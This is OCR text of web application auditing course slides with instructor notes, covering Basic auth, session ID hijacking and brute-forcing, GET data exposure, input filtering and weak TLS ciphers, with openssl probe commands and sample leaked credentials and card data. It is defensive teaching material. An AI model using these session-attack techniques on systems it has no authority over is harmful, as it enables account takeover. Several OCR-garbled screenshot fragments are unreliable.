F sw. Nt pet940911,1Y 

- <HTML><TITLE>Error</TITLE><BODY><H1> 
- Your username and/or password are invalid. 
- </H1></BODY></HTML> 

• 3) Browser sees WWW-authenticate header and generates a Basic 
Auth prompt 

Grin 	cb 

On this slide we see the sequence of events that occur when a user requests a resource that is protected with 
HTTP Basic authentication. 

In step 2, we see the web server is sending a special HTTP header. The web browser can detect this header 
and prompt the user for a username and password. 
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Traffic Flow for Basic Auth (2) 

• 4) After user enters his username and password, his browser 
sends them Base-64 encoded with a colon (:) between them: 
- GET /private/private.htm HTTP/1.0 
- Accept: image/gif, image/x-xbitmap, image/jpeg, 

image/pjpeg, application/vnd.ms-excel, 
application/msword, application/vnd.ms-powerpoint, 
*/* 

- Referer: http://enclave.com/ 
Accept-Language: en-us 

- Proxy-Connection: Keep-Alive 
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; 
Windows NT 5.0; T312461) 
Host: mavenl 

- Authorization: Basic SGV5OnF1aXQgcGV1a21uZyE= 

• •
 • •

 • •
 • •

 • •
 • •

 • •
 • •

 • •
 • •

 • •
 • •

 • •
 • •

 •  •
 • •

 • •
 • •

  •  •
  • 

• •  
• •

 

The web browser then encodes the username and password and embeds them into yet another HTTP header 
for the request sent to the server. We know that it looks like that password is encrypted, but it isn't. This is 
simply base-64 encoded, just like e-mail attachments are encoded. 
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Basic Authentication Credentials 

• The username and password are 
sent encoded into the HTTP header 
of every client request. 

• Encoded, not encrypted! 
— Encoding can easily be reversed 
— Network traffic should be encrypted 

(e.g., SSL) 

Auditing \\ Lb  Based Applicat ions  

Why is the username and password encoded? To avoid violating HTTP special character rules. For example, 
your password might contain a colon. Attempting to embed that directly into the client request would interfere 
with HTTP because HTTP uses the colon character to separate HTTP header names from their values. For 
example, Server: 11S. 

Just how easy is it to decode Basic authentication? 

The following website enables you to enter any base-64 encoded string and it immediately decodes it for you: 
http://www.opinionatedgeek.com/dotnetitools/base64decode/  
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HTTP 401 Message 

Remember we said that you can't 
get rid of the basic authentication 
credentials? 
—We fibbed... 
— ...if your application sends a 401 

message to an authenticated session, 
the browser drops the credentials! 

c 

When we spoke about basic authentication, we made a point of explaining that the credentials are cached in 
the browser and that there's no way to get rid of those credentials short of closing the browser completely. As 
it turns out, we fibbed a bit. It is possible to flush the credentials. 

The browser relies on the fact that the server continues to interact with it to decide if the credentials are valid. 
This is based entirely on the HTTP message codes. For instance, if the browser sends a set of credentials to a 
server and the server answers with an HTTP 200, the credentials must be correct (or unnecessary). However, if 
the server sends back an HTTP 401 message, that means that the credentials, if there were any, are incorrect. 

If the browser receives an HTTP 401 message from the server, it immediately drops the credentials because it 
assumes that they are invalid! 
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Hidden Fields 

fiPhyorkIng 	CPE Evenly. A'RJA Winters Only 	About ACUA 	Membership 

Ar., ..a1 corrre 

mcf,. 
fors action="../Search/index.asp" idecse-search-box"› 
(input type="hidden" nameesession_id" value="008910963594191962993:n7gflfpwdb4"› 
<input typeetudden" nameecof" valueeFOR10:11", 
<input typeehidden" nameeie" value="UTF-8"› 
<input type="text" name="q" classeinput" style="width:125px;"> 
<input type="inage" name="sa" vatue="Search" src="../images/go.gif" align="absmiddle" 

</fors> 
</td> 

rte .. •••• 

\ 	 t- 

For example, look at this ACUA web page. Notice here that we've pulled up the source code for the web page. 
Within this we find a search form and within the search form we find several hidden form fields. 

The first hidden field that appears is named session_id. Reasonably, this is some sort of session tracking 
mechanism that's used to keep track of who the user is. Although this particular page is from an ASP 
application, where we sometimes find the session store pushed out to the browser in the VIEWSTATE 
element, in this case it's just the session ID rather than the complete session state. 

We're not going to spend any more time on this particular method, however, because it is actually somewhat 
rare to find the session ID passed in a hidden form field these days. The most common reason it would happen 
goes back to the notion of schizophrenic development in which we use a lot of frameworks and applications 
and shuttling session IDs back and forth between them. 

112 	 © 2016 David Hoelzer & Enclave ForensicsTm 



Auditing Session Tracking 
Introduction 

• Audit objective: Determine if 
unauthorized access is 
possible via session tracking 
mechanism 

• Threat: Cloning (aka Session 
Hijacking): 
- Session ID represents 

authorized user 

— Attacker may gain access 
and duplicate session ID to 
impersonate victim to gain 
unauthorized access 
(Authorization) 

• Controls: 
- Robust Session ID: 

• See next checklist 

- Secure session tracking 
mechanism (La, how the 
session ID is embedded 
in traffic): 

• Ex. Cookie with proper 
parameters 

• Checklists given for each 
transport mechanism 
(cookies. URL, and so on) 
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Now that we understand the session tracking mechanism, what we need to do is to determine if unauthorized 
access is possible by attacking the session ID or mucking around with the session tracking mechanism. 

The threat of an attacker taking over someone else's application session by using the same session ID is called 
session hijacking in most publications. The term session hijacking is already used to describe when someone 
hijacks network traffic connections (that is, uses a TCP/IP sequence number prediction to take over your 
TCP/IP session). For example, hijacking a telnet session. When that happens, victims can typically tell 
something is happening because they suddenly don't see any responses from the remote server. For example, 
characters they type, which are normally echoed back to their terminal, are absent. 

However, when someone steals or guesses your session ID while interacting with a web application, there will 
now be two of you interacting with the web application. 
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Audit Checklist for Session IDs 

• Ensure all session IDs (except Basic Auth) 
have these properties: 
❑ Random 
❑ Not related to/generated from user info 
U Large size (i.e., not easily brute forced) 
❑ Perishable 
❑ Sent over a secure path 
❑ (Optional) Tamper prevention and detection 

• This list assumes authenticated users 

Auditing \\ ell  Based Applications 

Regardless of whether you create your own session tracking mechanism or rely on someone else's, you should 
audit both the session tracking method and the session IDs used. 

Not Related to User Information  

Make sure the session ID is not related to user information. Because this is a short-term secret, any 
relationship to user information would compromise the security of the long-term secret. 

Randomness  

The session ID must be as random as possible. If this ID is not random, there are several viable attacks against 
the ID (more later). 

Perishable  

Eventually expires and cannot be reused/replayed (short-term versus long-term secrets). 

Secure Transport  

Sent over a secure path to prevent eavesdropping. 
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• •
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• •
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 • •
 • •

 • •
 • •

 • •
 • •

 • •
  • 

• •
 • •

 • •
 

     

  

Methods of Attack 
Against Session Tracking 

  

  

• Predict/Guess (defense: strong ID): 
— Session IDs are assigned with a pattern 
— Brute force attack 

• Eavesdrop (defense: proper method): 
— Sent without SSL 

• Steal (defense: proper method): 
— Cross-site scripting can steal a cookie 
— Physical access 

lt; i ~ 
	

I 1 S 

  

Now that we covered the session tracking methods, let's focus more on how session cloning/hijacking takes 
place. The key to session cloning is the ability of a third party to use the same session ID as another user. 

The threat of session cloning can be leveraged by one or more of the following attacks: guessing, predicting, 
eavesdropping, or stealing the session ID. 

Some of these threats can be mitigated with the proper use of the session tracking method employed, which we 
already covered. However, some of these threats can be mitigated only with the use of proper session IDs. 
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nsePost1- Baah 

ponce 

;GET http://www.netflix.com/Miliome  HTTP/1.1 
Cookie: nothing...011re 

Capturing Session IDs 

ORE : PARAMETER 1 : PARAMETER 2. CONTENT 
0002 	: N5CJED2-xxxefffiffR09a3e9045525d5f4f58455e445aea4 

: 0001 	: N.SC_ED2-xxx.110111,09cc3e9145525d5f4156455/445a4a4 
0000 : 	NSCJ02-xxx.01111N09cc3e934552505f4156455e445a4a4 
0003 	N5C_E02-xxx.flel1ffr09tc3e7c45525d5141 .58455e445a4a42 
0005: 	NSC_E02-mo•IFRER109cc3e7d45525d5f4f513455e445a4a4 
0004 	NSC_ED2-xu•IfFITRED9cc3e7a455Z5dSfaf56455e445a4a4 
0006 : • NSC_ED2-xxx.419M09cc3e651552Sd5f4158435e445a4 
0007 	NSC_E02-xxx=fref609(c3e6245526651456455e4456464 
0006 	NSC_ED2-xxxeRVIN1109cc3e6345525d5f4158455.1445a4a4 
0009 	N5C_E02-xxx4/115/1109tc3e91345S2S05f4f58455.445a4a4 
0010 	• HSC,ED2-xxx-40140609cc3e9645525659058455e44564a4 
0011 : 	NSC_ED2-mo4ff11l'09ce3e95455,25d5f4f58453e445a4a4 
0012 	: NSC_E02-mocelfiftiff09a3e6(45525d514f56455e445a4a42 

••., 0013 : : N5r,_E02-spoieffNI1IF05Nc3e6d45525d5f458455e445a4a4 

0014 	143LE02-)orse011111109oc3e6a4S525d5E4f56455e44514a42 
0015: 	N5C_E02-saaerreffRf09<t3e7a45525dS14f58455e445a4a4 
0017 	145“02-xxx-R0W109cc3e764562565645645Se445•464 
0016 : : NSC,E02-xxx41M009cc3e774552SdSf4f5845Se445.1464 

Loop 

0 Numeric 

From: 

To: 

0 File 

File: 

Target 	Fuzzy Logic  

Base Response ) Threads: 	3:g 

mom 
File Help 

First, your need to determine where the session ID is located within the traffic and when they are first sent. 
Typically session IDs are within URLs, cookies, or hidden fields. This can be determined by examining your 
session with WebScarab. After logging all your web traffic, analyze it to determine where the session ID is 
located in the traffic. 

An alternative is to use something such as J-Baah, which can't do the analysis, but for a fast look for easy-to-
spot patterns, it's great! 

To use it in this way, notice what we've done. We've set the target to point at the target application and used 
the Base Response button to experiment and find a request that generates a session ID. In this case, there 
appears to be two related session IDs: NetflixSession and nflxsid. With that information in hand, we use the 
Start and End token buttons to select the session ID we're interested in and press the Start button. That's it! 

We can now let it run for a few seconds so that we can look for obvious patterns in the results. 
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Finding Patterns 

• There are at least five patterns in the session 
IDs here. How many can you find? 

SessionID=1753892020 
SessionID=395073912 
SessionID=624038776 
SessionID=1539898908 
SessionID=2068173376 
SessionID=805121736 
SessionID=853003152 
Session1D=1081967992 
Session1D=1894578240 

1-0 

 

\pplica 

  

• •
 •  

• •
 • •

 • •
 • •

 • •
 • •

 • •
 • •

 • •
 • •

 • •
 • •

 • •
 • •

 • •
 • •

 •  •
  • •

 •  •
  • •

 

For a quick example of what we're talking about, look at the session IDs above that were captured from a web 
application. There are at least five distinct patterns that are readily apparent. 

We have not included the answers here. Your instructor should help you to find at least five during class! If 
you are not at a live conference and want some possible answers, you can send an e-mail to 
dhoelzer@enclaveforensics.com  for some suggestions! 
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Auditing Session Tracking: Guessing 

• Audit objective: Determine if 
session ID can be brute 
force attacked 

• Range of valid session ID is 
small (e.g., 4 digit number), 
allowing exhaustive brute 
force attack 

• Control: Large range of 
values for session ID 

— E.g., session ID is 32 
alphanumeric characters 

• J-Baah is perfect for 
this type of attack! 

• Burp Suite can also 
be used for this 

• WebScarab can be 
used but it's not 
designed for it 

\udiring cb Based :Applications 

If a session ID cannot be predicted, then perhaps it can be brute-forced. This is where person would simply 
request every possible session ID value within a range. 

To perform this type of attack, we are essentially doing exactly what we do in a brute force password attack 
except that there is no username! In many ways, this attack is actually easier because there is almost never any 
kind of lockout in place for a large number of bad requests from one host with multiple session IDs. Another 
reason is that we don't have to come up with a valid username, just a valid session ID! This is the reason that 
we need a reasonably long session ID value. A minimum of 40 to 64 bytes should be sufficient today provided 
the value is significantly random and has a large key space. (The key spaces are the characters actually used to 
make up the session ID.) 

J-Baah, it turns out, is excellent for this type of attack. We can select individual values and cycle through them 
automatically, sending request after request. 

Burp Suite is also easy to use to do this type of attack with. WebScarab can also be used, but because it isn't a 
brute forcing tool we must resort to using the fuzzer for this task or writing our own bean. Either way, it is a 
lot of work! 
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Audit Technique for Locating 
Alternative Methods 

• The web app may support multiple session tracking 
methods for maximum browser compatibility: 
— Example: 

• Cookies are first choice, then 
• Alternative forms, such as URL rewriting used 

• Security Issue: 
— One may be secure, the other not. 

• Test: Block cookies to see if other session tracking 
techniques are employed. 

Before using cookies to track a session, the web app may test for cookie acceptance from the user's browser. 
If cookies are allowed, then the web app places the session tracking ID inside a cookie. But what if you 
intentionally turn off cookies? The web app may support alternative forms of session tracking, such as URL 
rewriting. 

The cookies may be a secure form of session tracking, but the URL rewriting may not be secure (for example 
placed on the end of non-encrypted URLs). 

It's a good idea to test cookies (if they are used) and to then block cookies to see if other session tracking 
methods are employed. If other methods are used, then analyze them for the issues we just covered in this 
section. 
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The Story So Far 

• Checklist Items: 
— Session Tracking: 

• What session tracking mechanism is in use? 
• Are the session IDs in the session token of sufficient 

length for the application? 
• Are the session IDs secured appropriately based on 

cloning detection capabilities? 
• What type of session hijacking/cloning detection 

capabilities exist? 
• What actions does the application take when a session 

violation is detected? 
• Are the session IDs sufficiently random? 
• Do session IDs expire after some period of time? 
• Is a valid session required in all appropriate 

circumstances? How is this enforced or mediated? 

\uditin 

 

1p llicat ions 

  

From the material in this section, we can now add several more important questions to our checklist. We 
should also now test these items technically or understand the responses to these questions when asked of the 
web application designer. 

Session Tracking: 

What session tracking mechanism is in use? 

Are the session IDs in the session token of sufficient length for the application? 

Are the session IDs secured appropriately based on cloning detection capabilities? 

What type of session hijacking/cloning detection capabilities exist? 

What actions does the application take when a session violation is detected? 

Are the session IDs sufficiently random? 

Do session IDs expire after some period of time? 

Is a valid session required in all appropriate circumstances? How is this enforced or 
mediated? 
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Continue in your workbook wherever you left off and work through the session analysis exercise! 
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Roadmap 

• Stating the Problem 
• Web Basics 
• Server Security 
• Configuration Testing 
• Authentication 
• Session Management 

Sensitive Information 

Input 

Output 

Databases and XSS 

Error Handlin 

Auditing; Web Based Applications 

At this point, we're ready to dig into our final and in some ways our most complicated section. In this final 
section, we consider how to exercise the input aspects of a web application and examine how output should be 
controlled and some of the problems that can result when we fail to do this well. Often these problems affect 
us worse when a database is in use. Other times it involves cross-site scripting. We examine all these issues 
now. 
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Sensitive User Input: 
GET Versus POST 

• Audit objective: Ensure 
security of sensitive 
data submitted via 
HTML forms 

• Controls: 
— Encryption 
— HTTP action method 

• When a form asks the 
user for something 
sensitive, or 

• Sensitive data is in 
hidden form elements 

• ACTION should be 
POST, not GET: 
— GET places form element 

into URL 
— Requested URLs are 

stored in many places 
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Let's look at this slide as a reminder. We already covered the GET and POST method briefly in the web 
primer section. We've come back to this topic once or twice during the day, but now we will go into detail as 
to what the security issues of using one method instead of the other are. 

Our objective is to ensure that sensitive user data that is submitted via HTTP from HTML forms is done in a 
secure fashion. This entails the use of encryption as well as proper use of the HTTP action method (POST 
versus GET). 
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Web Primer Flashback: 
GET Versus POST 

• Yahoo Search 
Uses GET method 

GET /bin/search?p=SANS+Institute 
HTTP/1.0 
Accept: image/gif, *r 
Referer: http://www.yahoo  com/ 
Accept-Language: en-us 
User-Agent: Mozilla14.0 (compatible; MSIE 
5.5; Windows NT 5.0: T312461) 
Host: search.yahoo.com  
Cookie: 13=Ojngtuctru6sw&b=28,f=v; 
0=g1=AACAAAAAAAAAeg--iSig2=RixEog--; 

• Amazon Search 
Uses POST method 

POST /exec/obidos/search-handle-form/102- 
6773092-0577728 HTTP/1 0 
Accept image/gif, 'V* 
Referer: 
http://www.amazon.com/exec/obidos/subst/home/re  
direct. htm1/102-6773092-0577728 
Accept-Language en-us 
Content-Type application/x-www-form-urlencoded 
User-Agent Mozilla/4.0 (compatible: MSIE 5.5; 
Windows NT 5.0: T312461) 
Host. www.amazon.com  
Content-Length: 59 
Pragma: no-cache 
Cookie: ubid-main.430-3592984-5549927, x-
main=hC)FilxHUFj8mdfgT@Yb5.27xsVsOFQ1Bf. 
session-id=102-6773092-0577728: session-id-
time=1019808000 

index---- blended&fiekt 
keywords=SANS+Institute&Go.x=128,Go.y.13 

iid tring \\ cb 
	

cad .lpplications 

On the left, we see the HTTP request sent from a browser submitting a search to Yahoo's search engine for the 
phrase "SANS Institute." Yahoo's search form uses the GET method. We see that the user input is placed 
inside the URL being requested. 

On the right, we see the HTTP request sent from a browser submitting a search to Amazon search engine for 
the phrase "SANS Institute." Amazon.com's search form uses the POST method. We see that the user input is 
placed inside the body of the request being made. 
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Points of Exposure for GET Data 

• The GET method is bad because it 
exposes user parameter values: 
—In the user's web browser history file 
—In the web server's audit logs 
—Intermediate proxy servers 
— At other websites via the HTTP 

Referrer field 
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So what does this mean in a nutshell? The GET method can be a significant point of exposure for sensitive 
data because it will be cached in several places. First, it is stored on the users' local system in the browser 
history file. This can be viewed in plaintext on the hard drive or can be seen by pulling down the browser 
location bar. Next, this data is stored in the web server's access logs. Third, the data might be stored in 
intervening proxy servers. Last, the data can be sent to third parties via the HTTP referrer field. 
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GET Exposed: History Files 

• The browser history file may contain the 
URLs requested by the user 

• Threats: 
— These URLs may contain sensitive information 

such as account numbers, passwords (i.e., PIN), 
name, and address... 

— Browser security weakness may allow malicious 
websites to steal the user's browser history file 

— A malicious user with physical access to the user's 
PC may steal the browser's history file 

Auditing Web Based )plications 

When the URL is stored in the local history file of the user, we may have the feeling that this isn't particularly 
bad. The user may also feel that this isn't a particularly big issue. The fact is, though, it is quite serious when 
we consider what sort of information we might be talking about. 

What if a GET request were used to submit a credit card number, Social Security number, bank account 
number, and so on. That information is now stored on the hard drive in an unencrypted form, which is a very 
bad idea. Worse, this type of behavior creates the motivation for individuals to discover browser flaws that 
allow them to remotely expose locally cached data, allowing an attacker to collect this sensitive information 
remotely. 
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GET Exposed: History Files 
Example 

Real Example: 

https://www.BadBank.com/scripts/bankh.dll?Func=chme  
mpro10503&homepath=cu3&LastName=CARLSON&Firs 
tName=PAULA+B&SSN=123456789&DOE3=04%2F29%2 
F1948&YrInSchool=0&HmFax=&Sex=F&CountryCd=&Co 
untryDesc=&YrAtAddr=O&HouseType=&Marital=&NoDep 
s=0&DepAges=&DrLN0=&Statelssued=&Addr1=7154+ 
ST+RAYMOND+COURT&Addr2=&City=DUBLIN&State 
=CA&Zip=94568&DayPhone=415+555- 
2135&EvePhone=415+555-2819&mempwd=1234 

Audirin;.! 
	

\pplicario 

The above data dump is from another online banking site. At first, the site seemed well behaved in its use of 
HTTP request methods. Every transaction that used sensitive data used the POST method. Every transaction 
except one. It was one of the last tests performed during the audit. The request was to submit a change of 
address. Now that type of transaction is typically sensitive because an attacker could change your address and 
then order new checks, thus allowing him to intercept the checks without you knowing, especially if the new 
address is a vacant apartment. Given the security implications of this transaction, the site required the user to 
enter her password to submit a change of address. 

The URL above was captured in the browser's history file. Can you imagine the PR nightmare if users noticed 
their Social Security number in their web history file? 

Where did this data come from? All I was asked to enter into the form was my new address and my password. 
All the other form elements were hidden form elements, thus submitted automatically for me. This is definitely 
one HTML page you don't want cached in clear text on your PC. 
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Scary Developer 

 

  

Topic: blowfish encrypted url in ruby 
Vamsi Krishna <lists©ruby-forum.com > Mar 07 11:04AM +0100 

How to encrypt and decrypt the url using blowfish in ruby? 
ex: url= 
http://localhost:3000 ?username=vam&paswd=1234&street=hyd&co 
ntact=999999999&company=raymarine&city=hyd&state=U P&count 
ry=ZP&zip_code=543211 

please help its very urgent. 

 

 

Aud iting 	applications 

 

This is an issue that developers sometimes misunderstand completely. For example, take a look at the 
developer post to a Ruby programming forum looking for help for his application. Here we can see that he is 
currently passing everything in the URL using a GET request. This instantly puts the username, password, and 
more into the web access log in and all these other locations. Unfortunately, as you can see, his solution is not 
to switch to a POST but instead to try to encrypt the URL. 

The algorithm he's asking about, Blowfish, is a symmetric cipher. As you likely remember from our Day 2 
discussions, this means that there is a single key that is used to encrypt and to decrypt. What does this mean 
for security? This means that if an attacker gains access to the web server where this code resides, he not only 
has access to the logs that contain a lot of super sensitive data (like all the usernames and passwords) but he 
also has access to the key that was used to encrypt that data! When this is the case the encryption becomes 
meaningless! 

The "Please help its[sic] very urgent" at the bottom also sends a message; how soon do you think deployment 
is and when did he start thinking about securing his application? 
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GET Exposed: 
Web Server Logs 

• Web servers record every URL being requested by clients 
into a web server log file 

• If a malicious third party can access these log files, then 
sensitive information sent via GET statements will be 
exposed 

• Real Example: 

— 89.1.2.3 - - [23/May/2013:16:22:25 +0800] "GET /cgi-
bin/process.cgi?Session1D=calciej46557&Type=visa&account=5413838192 
018392&expiry=0615 HTTP/1.1" 200 - 

- 89.1.2.3 - - [23/May/2013:16:22:18 +0800] "GET / HTTP/1.0" 304 - 

- 89.1.2.3 - - [23/May/2013:16:22:33 +0800] "GET fimages/loga.gif HTTP/1.1" 
200 - 

- 89.1.2.3 - - [23/May/2013:16:22:31 +0800] "GET Arnages/spoff.gif 
HTTP/1.1" 304 - 
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Real world example: The above web server logs were acquired remotely during a web application assessment 

by exploiting a web server weakness. Do not assume your web logs are safe. Even if they cannot be accessed 

remotely by unauthorized users, they can be seen by local web administrator who may not have a need to see 

the sensitive data embedded into the URLs. 

It is also not terribly uncommon to find that through a misconfiguration the logs have been left in a public 

place or, if you pay to have your site hosted by a web hosting service, your web logs may be in a public place 

by default! 
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Most Shocking: Referer 

• Remember, it's spelled incorrectly: 
—HTTP field sent to the current server 

telling it how you got here 
— If we use GET for input and the user 

now clicks an external link, all that 
input is sent to the external site and 
stored in that server's access log! 

If you're still not convinced, possibly the best reason to never use a GET for input is the referer field. We saw 
this HTTP header earlier today. Recall that this field tells the server how we got here. The referer contains the 
entire URL including all parameters that were sent. 

What's the impact? Imagine that we have an application that accepts input using a GET. Imagine that our user 
has just finished doing something that is somewhat sensitive and that the parameters for that last query are 
now sitting in the URL on the browser bar. The user, having finished what he planned to do, now clicks a 
Google add or double-clicks an add that is also on the page. The browser now sends a request to this third 
party happily including the current URL in the referer field! Not only is the data not encrypted but it's now 
stored in plain text on someone els's server! 

(Please note, "Referer" looks as though it is spelled incorrectly. In fact, in the original standard it was spelled 
incorrectly but this became ratified in the standard itself! When dealing with the "referrer" field in HTTP, we 
must refer to it as the "Referer.") 
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User Inputs: Testing Scope 

• What should be manipulated? 
—All form elements 
—All cookies 
—Session ID 
— HTTP headers used by site/app 

rp,2  
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Now that we've been clear about why the GET method can be so dangerous for sensitive data, let's turn our 
attention to user input validation and testing. Remember we said that we want to try to put bad stuff into every 
opening we can find in the web application. This means every opening! It's easy to overlook some, so don't 
forget the cookies, the HTTP headers, and so on. What should you put into these openings? Let's look at that 
more closely. 
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Recommendation for 
User Input 

• Solution: Filter user supplied input: 
-Whitelisting: 

• Figure out which characters are necessary 
• Search all input for any other characters 
• Strip them out: 

— For extra credit, compare the result to the original 
— Any difference would create a security warning 

—Test everything: Form elements, 
User-Agent, Referer Field, Cookies 

sluchrin ,, .c1) Based Applications 

To properly filter user input we have an easy-to-implement suggestion. Rather than trying to figure out all the 
characters that might possibly be dangerous or bad, identify all the characters that you actually need. 

For example, does your application require the less than or greater than symbols (c>)? Does it require the 
percent (%) sign? Instead of trying to list these as bad, they simply would not be included in what is needed. 
By the way, by eliminating the characters just mentioned, you may very well have just armored your 
application against almost every type of invalid input attack! 

After we determine what's necessary, the programmer creates a regular expression that searches for anything 
other than what is required. We don't have to know which characters that includes. Regular expressions can 
calculate that automatically! 

After filtering the input we have two choices of what to do. First, we could take the sanitized input and 
perform our processing using that. We can feel quite safe, but we're not actually checking for tampering. If we 
want even more security, we can compare the original entry to the sanitized version. If the original is in any 
way different from the sanitized version, we would generate a security warning and reject the users' input 
completely, forcing them to reenter and not taking any chances. 

When manipulating input fields, don't overlook the hidden things. It's not just the form fields that a user can 
type into, it's also the pull-down menus, the HTTP headers, the cookies, and more. 
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Whitelist Challenges 

• Roman text only? No problem: 
— How do you write a whitelist for this: 

• Welcome! 

• ALP 
• KaAwoOpopa 
• iLn 
• 

—Handle at least: 
• ", %, <, 	8„ ! 

tcline \\ c1~ I3 

    

 

Ohl 

 

h 

    

• 
• 
• 
• 
• 
• 
• • 
• • • • 
• 
• 
• 
• 
• • 
• 
• 
• 
• Although whitelisting is always considered best practice, you can definitely find yourself in a situation in 

which whitelisting is extremely difficult or possibly even impractical. The best example of this is in an 
• application that has been designed for a multinational audience. 

• 
Creating a whitelist for all roman text is simple. A simple search and replace of the following format will do 
the job well: 

s/[^a-zA-Z0-9 .]// 

• 
• 

This is clearly better than trying to identify every possible bad character. After we move to Unicode-based 
localization, however, this becomes impractical; the number of characters that are now permissible is not 

• possible to predict during development. In this case, as a last resort, we would fall back on blacklisting. At a 

• 
minimum, have special concern and handling for the following characters: 

• 
• ", %, <, >, ), c, &, 1, ! 
• Some of these are related to SQL Injection flaws. Others can be leveraged to achieve Cross-Site Scripting. 

• 
Still others might be used to hexadecimally encode payloads or to effect an LDAP injection attack. 

• 

• 

• 

• 
• 
• 
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Sensitive Output Introduction 

• Audit Objective: Determine if sensitive 
output from the web application/server 
is protected in transit and (where 
possible) on the client 

• Controls: 
— Controlling output 
— Encryption (SSL/TLS) 
— Anticaching 

cluing \Vcb Based Lpplicath)u. 

Audit objective: We want to be sure that sensitive data viewed by the user is secured in transit (for example, 
SSL) and does not accidentally get stored insecurely without the user's consent or knowledge (that is, browser 
caching). 

We've covered the use of SSL and TLS to some degree in the course so far, so there won't be much here that's 
new. Actually, we're introducing a higher level concept that demonstrates why encryption is important, how to 
leverage encryption with anticaching techniques, and how to verify that the encryption is appropriate. Also, 
there are times when encryption doesn't offer us protection. Let's start with that idea first. 
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Encryption Strength 

• Initial client/server SSL/TLS handshake: 
— Type of encryption (cipher) and key size 

determined 

• Issue: Not all ciphers and key sizes are 
considered strong today: 
— DES, export versions, 40-56 bit keys 
— SSL and TLS under attack: 

• Just use TLS 1.2? 

— Some standards have higher requirements 

ltc 1 ru 
1 AV rl 

When we say "encryption" we are actually talking about several things, including a key exchange, a 
cryptographic cipher, and the key size used by the cipher. All this and more are negotiated during the initial 
connection made between a web browser and server. 

The problem is that not all ciphers are as strong as others. The web server may be offering weak ciphers to the 
users of a web application with highly sensitive data. Another extremely important problem is that we may not 
be following the "best practice" of disabling everything except for TLS 1.2. 

Why can't we just enforce TLS 1.2 everywhere? After all, the majority (though not all) of the TLS and SSL 
issues in recent memory (POODLE, BREACH, Heartbleed...) take advantage of weaknesses in older versions 
of these standards or use a Man in the Middle to force two partners to downgrade the cipher suite that will be 
used. Requiring TLS 1.2 and disabling all weak ciphers completely should solve the problem, right? 

The big issue here is that we run straight into operational issues. We cannot guarantee that every customer 
who accesses our site will have a browser that supports TLS 1.2. Worse, we can't guarantee that all our 
customers can (legally) support the best encryption algorithms or key lengths! What all this means is that we 
must understand the operational requirements, research current threats, and provide advice to the business 
based on our research and the deployment that is in place. 
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Automated Cipher Inventory 
Techniques 

• Most webapp scanners will give you a report 
• You can take a manual approach: 

— Syntax: 
$ openssl s_client -connect target:port -ssl2 
-cipher 'LOW:NULL:aNULL:EXPORT' 

$ openssl s_client -connect target:port -ss13 
-cipher 'LOW:NULL:aNULL:EXPORT' 

— OpenSSL can be found at http://www.openssl.org/ 

luditing \\sc . 	i\pplications  

When using OpenSSL, the ciphers offered by the remote server may be displayed during the initial handshake. 
The syntax to try is 

$ openssl s_client -connect target:port -ssl2 -cipher 
'LOW:NULL:aNULL:EXPORT' 

And 

$ openssl s_client -connect target:port -ss13 -cipher 
'LOW:NULL:aNULL:EXPORT' 

If you can connect to the target web server using either of these command, then it proves that the target web 
server is using a weak or null cipher. 

Another option here is to grab a copy of the PCI validation tools available from CyberDefense (www.cyber-
defense.org). One of the many tests that this tool accomplishes is a report of the SSL/TLS configuration of a 
web server! 
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Automated Testing 

• Qualys has a free service: 
https://wvvw.ssilabs.cornissItest/ 

0 QUALMS' SSL LABS 
	

Man* PrO,Ctlf 	 CCM CAM. 

4....m.206i24. 	 .rt ftureetl 

no In ken tnes  >Mow fonalea  sesafzurr 

SRL Report: aws.amazon.com  
Mao. am ...Ate  • 5con Moth's ?!... 

Donaln(e) 	Tat ems 	 t3cade 

07 WV. n7.. 

Wow.-  r0 taC 

SeeNte UI GeZtlYsPST mtd 
Ueras.  42 v: 

Qualys has a free tool to help you evaluate the configuration of your SSL/TLS settings, certificates, and key 
lengths. Simply go to www.ssIlabs.com/ssItest  and enter the address of the site to be tested and off it goes! 

After approximately 1 minute, the assessment will be complete, and you will receive a letter grade for the site. 
What does the letter grade mean? Simply click the IP address of the host on the left side to find out. 
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What's a "B"? 

4.ar. M. row.. ono. v...*****....• 

m...

.* 11.11.0 • 

I. we. eh. 	 FK.V.2 

Here we can see the details of the aws.amazon.com  host that was tested on the last slide by the Qualys SSL 
assessment tool. The break down at the bottom helps you determine exactly what the settings are. With these 
settings in hand, we can then compare to the organization's best practice and current vulnerabilities to 
determine what recommendations, if any, should be made. 

In this case, we can see that the Amazon.com  server in question does not support TLS 1.2 but only older 
versions. In addition, it supports a known weak cipher in an SSL/TLS context (RC-4). These two things 
together force the score to be limited to only a B. Would these settings be acceptable in your organization? 
Here's another question, especially for U.S. government people: Are you using Amazon.com's FedRamp with 
AWS? It might be interesting to check if the management console for your AWS management under FedRamp 
actually meets your information processing requirements! 
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Security Issues with 
Web Encryption: Mixed Content 

• The issue is also called 
"Mixed Frames": 
— Yes, I know we rarely use 

frames anymore!!! 

• The idea is that content 
on a page may be 
coming from more than 
one source: 
— You may not "see" 

frames today, but the 
issue is the same! 

FGI=I=n====linamr7t„: ID -I NEI 
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HTML frames add functionality to a web page by allowing the user to scroll one part while keeping other 
sections stationary. This is a great thing, but if we use SSL, there can be some unintended consequences in the 
presentation of our page. 

41110 	Even though frames are quite rare to find these days, the issue we consider here is still named after them 
because it first became evident during the heyday of Frames usage. In fact, the term "Mixed Content" has 

• come into common parlance because frames have become so rare to find these days. Regardless of the name, 
• the main thing to keep in mind about this is that even though we are looking at a single virtual page, the 

content on that page may be coming from more than one location. 

• 
• • 
• • 
• 
• 
• 
• 
• 
• 
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Mixed Content 
with SSL 

• Browser 
standard 
requires all 
content over 
SSL or no lock: 
— Loss of user 

confidence 

• Often accidental! 

google.com  

gle 
Compared with: 

\uchring 	b Based pplic,.tt(ms 

flyenalk.com  

ifa ►  Blocked a frame with origin 	'044f.11122,1120.9 
"httP:t4td,doutlISST4tktnel" from accessing a frame 
with origin "hftillit/www.flyertalk.com ". The frame 
requesting access has a protocol of "http", the 
frame being accessed has a protocol of "https". 
Protocols must match. 

Don't blow off this issue. Users are constantly warned to look for SSL (via the browser lock symbol) 
whenever sensitive transactions or data are involved. The lack of a lock symbol can cause the user to 
mistakenly think the site does not use SSL. This may result in a call to the support desk (that is, increased 
operating costs for your company) or it may cause the customer to abandon the transaction (that is, lost 
revenue). 

Also, it is important to note that this problem is not limited to frames. The same behavior can be observed if 
you load an SSL page with no frames but one of the image references has an absolute reference to something 
such as http://www.site.com/images/picture.gif . Notice that the URL begins with HTTP, which specifically 
requests the image without encryption. 

• 
